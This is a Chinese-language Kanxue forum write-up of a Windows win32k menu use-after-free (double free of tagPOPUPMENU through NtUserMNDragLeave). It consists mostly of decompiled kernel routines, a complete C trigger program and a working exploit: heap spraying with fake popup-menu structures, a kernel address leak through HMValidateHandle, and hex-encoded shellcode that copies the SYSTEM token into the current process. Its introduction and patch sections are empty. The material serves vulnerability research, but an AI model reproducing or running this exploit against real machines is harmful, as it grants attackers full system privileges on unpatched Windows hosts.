本文为看雪论精华文章
看雪论坛作者ID:Ring3
0X00 前言
0X01 漏洞描述
0X02 分析环境
0X03 漏洞分析
int __stdcall xxxTrackPopupMenuEx(int a1, int a2, int xLeft, int yTop, PVOID P, int a6)
{
.
.
.
v16 = (_DWORD *)xxxCreateWindowEx(
385,
(wchar_t *)0x8000,
0x8000,
0,
-2139095040,
xLeft,
yTop,
100,
100,
(*(_DWORD *)(a1 + 20) & 0x40000000) != 0 ? (unsigned int)P : 0,
0,
*((_DWORD *)P + 9),
0,
1537,
0); //该函数设置窗口对象tagWND和弹出菜单对象tagPOPUPMENU
.
.
.
}
NtUserTrackPopupMenuEx
-->xxxTrackPopupMenuEx
-->xxxSetWindowPos//设置tagWND在屏幕中的坐标并显示在屏幕上
-->xxxEndDeferWindowPosEx
-->xxxSendChangedMsgs
-->xxxAddShadow
-->xxxMenuWindowProc
-->xxxMenuWindowProc//接收MN_ENDMENU(0x1F3) 消息值开始销毁
-->xxxEndMenuLoop//隐藏菜单的显示和销毁预处理
-->xxxMNDismiss
-->xxxMNCancel执行菜单取消
-->xxxMNCloseHierarchy
-->xxxDestroyWindow//销毁菜单(xxxSetWindowPos隐藏目标菜单窗口-->xxxSendChangedMsgs 发送窗口位置已改变的消息-->调用函数 xxxRemoveShadow移除阴影窗口对象)
-->xxxFreeWindow //执行对目标窗口对象的后续销毁操作(执行完下面四步后再次执行xxxRemoveShadow函数移除阴影窗口对象的关联)
-->xxxWrapMenuWindowProc//消息处理
-->xxxMenuWindowProc//接收消息调用下一步函数
-->xxxMNDestroyHandler//清理相关数据
-->xxxDestroyWindow执行返回后回到下面
-->xxxMNCloseHierarchy//对成员域进程置空
-->xxxMNCancel//继续返回到此处-->-->xxxDestroyWindow//销毁当前菜单对象
-->xxxTrackPopupMenuEx返回到此处对关联的弹出窗口置位
-->xxxMenuWindowProc返回到此处调用-->xxxMNEndMenuState清理非模态类型的菜单状态信息并释放相关对象
void __stdcall MNFreePopup(PVOID P)
{
int v1; // eax
if ( P == *((PVOID *)P + 8) ) //判断是否为当前根菜单
MNFlushDestroyedPopups(P, 1);
.
.
.
}
int __stdcall MNFlushDestroyedPopups(int a1, int a2)
{
int v2; // esi
int result; // eax
_DWORD *v4; // ecx
_DWORD *v5; // ST00_4
v2 = a1;
for ( result = a1 + 36; *(_DWORD *)result; result = v2 + 36 ) //每个fDestroyed遍历调用MNFreePopup函数
{
v4 = *(_DWORD **)result;
if ( **(_DWORD **)result & 0x8000 )
{
v5 = *(_DWORD **)result;
*(_DWORD *)result = v4[9];
MNFreePopup(v5);
}
else if ( a2 )
{
*v4 &= 0xFFFEFFFF;
*(_DWORD *)result = *(_DWORD *)(*(_DWORD *)result + 36);
}
else
{
v2 = *(_DWORD *)result;
}
}
return result;
}
UnlockMFMWFPWindow(&menuState->uButtonDownHitArea); //uButtonDownHitArea存储鼠标点击坐标为u与窗口对象指针
UnlockMFMWFPWindow(&menuState->uDraggingHitArea); //uDraggingHitArea存储鼠标拖拽左边位于窗口对象指针
void __stdcall MNFreePopup(PVOID P)
{
int v1; // eax
if ( P == *((PVOID *)P + 8) ) //判断是否为当前根菜单
MNFlushDestroyedPopups(P, 1);
v1 = *((_DWORD *)P + 2);
if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != &gpopupMenu )
*(_DWORD *)(v1 + 176) = 0;
HMAssignmentUnlock((char *)P + 8);
HMAssignmentUnlock((char *)P + 12);
HMAssignmentUnlock((char *)P + 16);
UnlockPopupMenu(P, (char *)P + 20);
UnlockPopupMenu(P, (char *)P + 24);
HMAssignmentUnlock((char *)P + 4);
HMAssignmentUnlock((char *)P + 28);
if ( P == &gpopupMenu )
gdwPUDFlags &= 0xFF7FFFFF;
else
ExFreePoolWithTag(P, 0);
}
ba e1 win32k!xxxAddShadow
#include <stdio.h>
#include <Windows.h>
#define MN_ENDMENU 0x1F3 //处理窗口消息
static constexpr UINT num_PopupMenuCount = 2;
static HMENU hpopupMenu[num_PopupMenuCount] = { 0 };
static UINT iMenuCreated = 0;
static UINT iShadowCount = 0;
static HWND hwndMenuHit = 0;
ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)//系统中断调用
{
__asm { mov eax, num };
__asm { int 2eh };
}
CONST UINT num_NtUserMNDragLeave = 0x11EC; //
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
) //阴影窗口处理
{
if (msg == WM_NCDESTROY)//如果是WM_NCDESTROY类型 就直接调用NtUserMNDragLeave服务
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
) //事件通知处理
{
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);//弹出的子菜单已经显示 发送MN_ENDMENU菜单终止消息
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); //向参数句柄hwnd指向的菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息 xxxMenuWindowProc接收处理该消息 然后调用xxxMNOpenHierarchy创建新的弹出子菜单的相关对象 接着调用xxxWindowEvent发送EVENT_SYSTEM_MENUPOPUPSTART事件通知再次进入xxxWindowEventProc函数
}
}
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) //挂钩处理函数进程Hook
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message != WM_NCCREATE) //根据参数lParam指向的成员域message判断当前处理的消息是否为WM_NCCREATE消息
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768")) //当类为"#32768"时为菜单窗口来纪录句柄
{
hwndMenuHit = cwp->hwnd;
}
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL) //判断窗口类名称的位置增加判断是否为SysShadow
{
iShadowCount++;
if (iShadowCount == 3) //每个弹出菜单窗口对象都调用了两次xxxRemoveShadow函数 则当指向到第三次的时候才可执行SetWindowLongW函数
{
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);//将目标阴影窗口改为自定义阴影窗口消息处理函数
}
else //否则通过调用函数 SetWindowPos对先前保存句柄指向的类名称为#32768的窗口对象依次设置SWP_HIDEWINDOW和 SWP_SHOWWINDOW状态标志使窗口先隐藏后显示 再次触发内核中添加阴影窗口关联的逻辑以创建新的阴影窗口对象
{
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);//触发创建新的阴影窗口关联的逻辑
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
int main()
{
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
HMENU hpopupMenu[2] = { 0 };
hpopupMenu[0] = CreatePopupMenu();//创建两个非模态的可弹出菜单对象
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);//设置两个指定菜单的信息
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);//添加菜单项
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);//是第一个的子菜单
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0, // x
0, // y
1, // width
1, // height
NULL,
NULL,
GetModuleHandleA(NULL),
NULL); //创建一个普通的窗口对象作为弹出菜单的拥有者窗口对象
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId()); //创建类型为WH_CALLWNDPROC关联当前线程的挂钩程序每次线程将消息发送给窗口对象之前调用
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0); //创建EVENT_SYSTEM_MENUPOPUPSTART的关联当前进程和线程的事件通知消息处理程序 表示目标弹出菜单已被显示在屏幕上
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL); //第一个菜单创建弹出
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0)) //消息循环
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
return 0;
}
-->创建两个弹出菜单 第二个为第一个的子菜单
-->调用xxxCreateWindowExW创建窗口对象作为窗口对象的拥有者
-->开始Hook 对于前两次进入的函数调用函数SetWindowPos触发创建新的阴影窗口关联的逻辑 第三次调用SetWindowLong将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数
-->第一次正常调用发送菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息显示子菜单 第二次发送MN_ENDMENU消息关闭菜单
-->调用xxxMNEndMenuSate销毁菜单信息释放tagPOPUPMENU内存对象
-->将根菜单的根技术变为0 销毁菜单对象 会调用xxxRemoveShadow消除阴影窗口对象 然后就来到我们自定义的阴影窗口消息处理函数
-->再次调用xxxMNEndMenuState来二次释放tagPOPMENU内存区域
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
int __stdcall NtUserMNDragLeave()
{
signed int v0; // esi
UserEnterUserCritSec();
v0 = xxxMNDragLeave();//这里进入
UserSessionSwitchLeaveCrit();
return v0;
}
signed int __stdcall xxxMNDragLeave()
{
_DWORD *v0; // esi
v0 = (_DWORD *)*((_DWORD *)gptiCurrent + 65);
if ( !v0 )
return 0;
++v0[7];
xxxMNSetGapState(v0[14], v0[15], v0[16], 0);
UnlockMFMWFPWindow(v0 + 14);
v0[15] = -1;
v0[16] = 0;
v0[1] &= 0xFFFF7FFF;
xxxUnlockMenuState(v0);
return 1;
}
signed int __stdcall xxxUnlockMenuState(_DWORD *a1)
{
bool v1; // zf
v1 = a1[7]-- == 1;
if ( !v1 || !ExitMenuLoop(a1, *a1) )
return 0;
xxxMNEndMenuState(1);
return 1;
}
0X04 漏洞利用
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000); //分配0页内存
pvShellCode->pid = GetCurrentProcessId(); //进程pid
pvShellCode->off_CLS_lpszMenuName = 0x050; //SDK菜单指定
pvShellCode->off_THREADINFO_ppi = 0x0b8; //
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8; //EPROCESS偏移0xb8处的ActiveProcessLinks为_LIST_ENTRY 是一个双向链表
pvShellCode->off_EPROCESS_Token = 0x0f8; //Token值 替换为system的即为系统权限
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc)); //将payload复制到pfnWindProc
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
if (hwnd == NULL)
{
continue;
}
hWindowList[iWindowCount++] = hwnd;
}
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID*)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
DWORD fOldProtect = 0;
VirtualProtect(pvShellCode, 0x1000, PAGE_EXECUTE_READ, &fOldProtect);
xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000);
hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN",
WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
WS_VISIBLE);
xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
WS_EX_LEFT,
WS_OVERLAPPED);
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
kd> dt win32k!_THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x00c rpdesk : Ptr32 tagDESKTOP
+0x010 pSelf : Ptr32 UChar
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++)
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x28, 0);
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
SetWindowLongW(hWindowHunt, 0x6C, 0);
SetWindowLongW(hWindowHunt, 0x1F8, 0xC033C033);
SetWindowLongW(hWindowHunt, 0x1FC, 0xFFFFFFFF);
kd> dt win32k!tagWND
+0x000 head : _THRDESKHEAD
.
.
.
+0x014 bDialogWindow : Pos 16, 1 Bit
+0x014 bHasCreatestructName : Pos 17, 1 Bit
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
``````````````````````````````````````````````````````````````````````````````````````````````
DWORD dwPopupFake[0xD] = { 0 }; //函数xxShadowWindowProc
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot //防止执行流误入歧途
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem //防止执行流误入歧途
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);//对前面批量创建的普通窗口对象设置 GCL_MENUNAME 的调用
}
xxSyscall(num_NtUserMNDragLeave, 0, 0);
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
static
PVOID
xxHMValidateHandle(HWND hwnd)
{
PVOID RetAddr = NULL;
if (!pfnHMValidateHandle)
{
xxGetHMValidateHandle();
}
if (pfnHMValidateHandle)
{
RetAddr = xxHMValidateHandleEx(hwnd);
}
return RetAddr;
}
······························································································
static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
break;
}
}
#define TYPE_WINDOW 1
static
PVOID
xxHMValidateHandleEx(HWND hwnd)
{
return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW);
}
static
BYTE
xxPayloadWindProc[] = {
// Loader+0x108a:
// Judge if the `msg` is 0x9f9f value.
0x55, // push ebp
0x8b, 0xec, // mov ebp,esp
0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch]
0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh
0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128
//判断刚才的0x9F9F 是否为我们的提权消息
// Loader+0x109b:
// Judge if CS is 0x1b, which means in user-mode context.
0x66, 0x8c, 0xc8, // mov ax,cs
0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh
0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128
//32位操作系统用户上下文代码段寄存器CS的值位0x1B 判断是否在用户模式运行
// Loader+0x10a8:
// Get the address of pwndWindowHunt to ECX.
// Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
// Get the address of pvShellCode to EDX by CALL-POP.
// Get the address of pvShellCode->tagCLS[0x100] to ESI.
// Get the address of popupMenuRoot to EDI.
0xfc, // cld
0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8]
0xff, 0x41, 0x16, // inc dword ptr [ecx+16h]
//恢复载体窗口对象的成员标志位为初始值
0x60, // pushad
0xe8, 0x00, 0x00, 0x00, 0x00, // call $5
0x5a, // pop edx
0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h
// 备份当前所有通用寄存器的数值在栈上根据偏移算出存储shellcode函数代码前面位置的结构体SHELLCODE对象的首地址
0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h
0x8d, 0x72, 0x18, // lea esi,[edx+18h]
0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h]
// Loader+0x10c7:
0x85, 0xdb, // test ebx,ebx
0x74, 0x13, // je Loader+0x10de
// Loader+0x10cb:
// Judge if pvShellCode->tagCLS[ebx] == NULL
0xad, // lods dword ptr [esi]
0x4b, // dec ebx
0x83, 0xf8, 0x00, // cmp eax,0
0x74, 0xf5, // je Loader+0x10c7
// Loader+0x10d2:
// Judge if tagCLS->lpszMenuName == popupMenuRoot
0x03, 0x42, 0x08, // add eax,dword ptr [edx+8]
0x39, 0x38, // cmp dword ptr [eax],edi
0x75, 0xee, // jne Loader+0x10c7
// Loader+0x10d9:
// Zero tagCLS->lpszMenuName
0x83, 0x20, 0x00, // and dword ptr [eax],0
0xeb, 0xe9, // jmp Loader+0x10c7
//遍历结构体SHELLCODE对象存储的tagCLS数组通过参数wParam传入根弹出菜单对象的内核地址进行匹配 将匹配的tagCLS对象成员域lpszMenuName置空
// Loader+0x10de:
// Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
// Get the value of pvShellCode->pid to EAX.
0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8]
0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch]
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x8b, 0x09, // mov ecx,dword ptr [ecx]
0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h]
0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4]
0x51, // push ecx
//获取载体窗口对象头部结构中存储的线程信息tagTHREADINFO对象指针 进程信息tagPROCESSINFO对象指针 进程结构体EPROCESS对象指针
// Loader+0x10f0:
// Judge if EPROCESS->UniqueId == pid.
0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax
0x74, 0x07, // je Loader+0x10fd
// Loader+0x10f6:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf3, // jmp Loader+0x10f0
// Loader+0x10fd:
// Get current EPROCESS to EDI.
0x8b, 0xf9, // mov edi,ecx
0x59, // pop ecx
// Loader+0x1100:
// Judge if EPROCESS->UniqueId == 4
0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4
0x74, 0x07, // je Loader+0x110e
// Loader+0x1107:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf2, // jmp Loader+0x1100
// Loader+0x110e:
// Get system EPROCESS to ESI.
// Get the value of system EPROCESS->Token to current EPROCESS->Token.
// Add 2 to OBJECT_HEADER->PointerCount of system Token.
// Return 0x9F9F to the caller.
0x8b, 0xf1, // mov esi,ecx
0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h]
0x03, 0xf0, // add esi,eax
0x03, 0xf8, // add edi,eax
0xad, // lods dword ptr [esi]
0xab, // stos dword ptr es:[edi]
//获取并替换当前线程和system的Token值
0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h
0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2
//为目标Token增加对象引用计数
0x61, // popad
0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh
0xeb, 0x05, // jmp Loader+0x112d
// Loader+0x1128:
// Failed in processing.
0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1
// Loader+0x112d:
0xc9, // leave
0xc2, 0x10, 0x00, // ret 10h
//恢复寄存器的值
};
0X05 补丁分析
0X06 经验总结
END
看雪ID:Ring3
https://bbs.pediy.com/user-home-858876.htm
*本文由看雪论坛 Ring3 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!